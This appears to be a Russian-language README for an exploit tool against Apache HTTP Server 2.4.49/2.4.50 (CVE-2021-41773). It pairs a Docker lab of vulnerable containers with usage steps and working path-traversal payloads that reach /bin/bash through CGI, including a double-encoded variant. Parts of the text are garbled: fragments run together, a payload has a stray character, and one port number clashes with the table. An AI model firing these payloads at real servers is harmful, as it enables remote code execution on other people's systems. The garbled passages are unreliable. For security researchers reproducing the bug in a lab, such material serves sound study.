
Эксплойт-скрипт для обхода пути и удалённого выполнения кода на Apache HTTP Server 2.4.49/2.4.50 (CVE-2021-41773). Включает среду воспроизведения на основе Docker и подробное объяснение техники обхода двойного URL-кодирования.
Ошибка была обнаружена в изменении, внесённом в нормализацию путей в Apache HTTP Server 2.4.49. Злоумышленник может использовать атаку обхода пути для сопоставления URL-адресов с файлами за пределами каталогов, настроенных директивами типа Alias. Если файлы за пределами этих каталогов не защищены конфигурацией по умолчанию "require all denied", такие запросы могут быть выполнены. Если для этих псевдонимов также включены CGI-скрипты, это может привести к удалённому выполнению кода. Известно, что эта уязвимость эксплуатируется в реальных условиях. Эта проблема затрагивает только Apache 2.4.49 и не затрагивает более ранние версии. Исправление в Apache HTTP Server 2.4.50 было неполным, см. CVE-2021-42013.
pip3 install colorama)perl hello-world, выполняющегося в контейнере(ах)Запустите уязвимый Apache httpd (с конфигурацией по умолчанию) как контейнер docker/podman.
| Dockerfile | Контейнер | Версия |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Контейнер | Порт прослушивания |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 Выберите атаку на версию 2.4.49
1.3 python3 main.py localhost:2450
1.4 Выберите атаку на версию 2.4.50
Эксплойт использует CGI-модуль Apache httpd для выполнения произвольных исполняемых файлов через обход пути.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ — это URL-кодировка, которая при декодировании соответствует ../.
.%%32%658 — это двойная URL-кодировка, которая также при декодировании соответствует ../.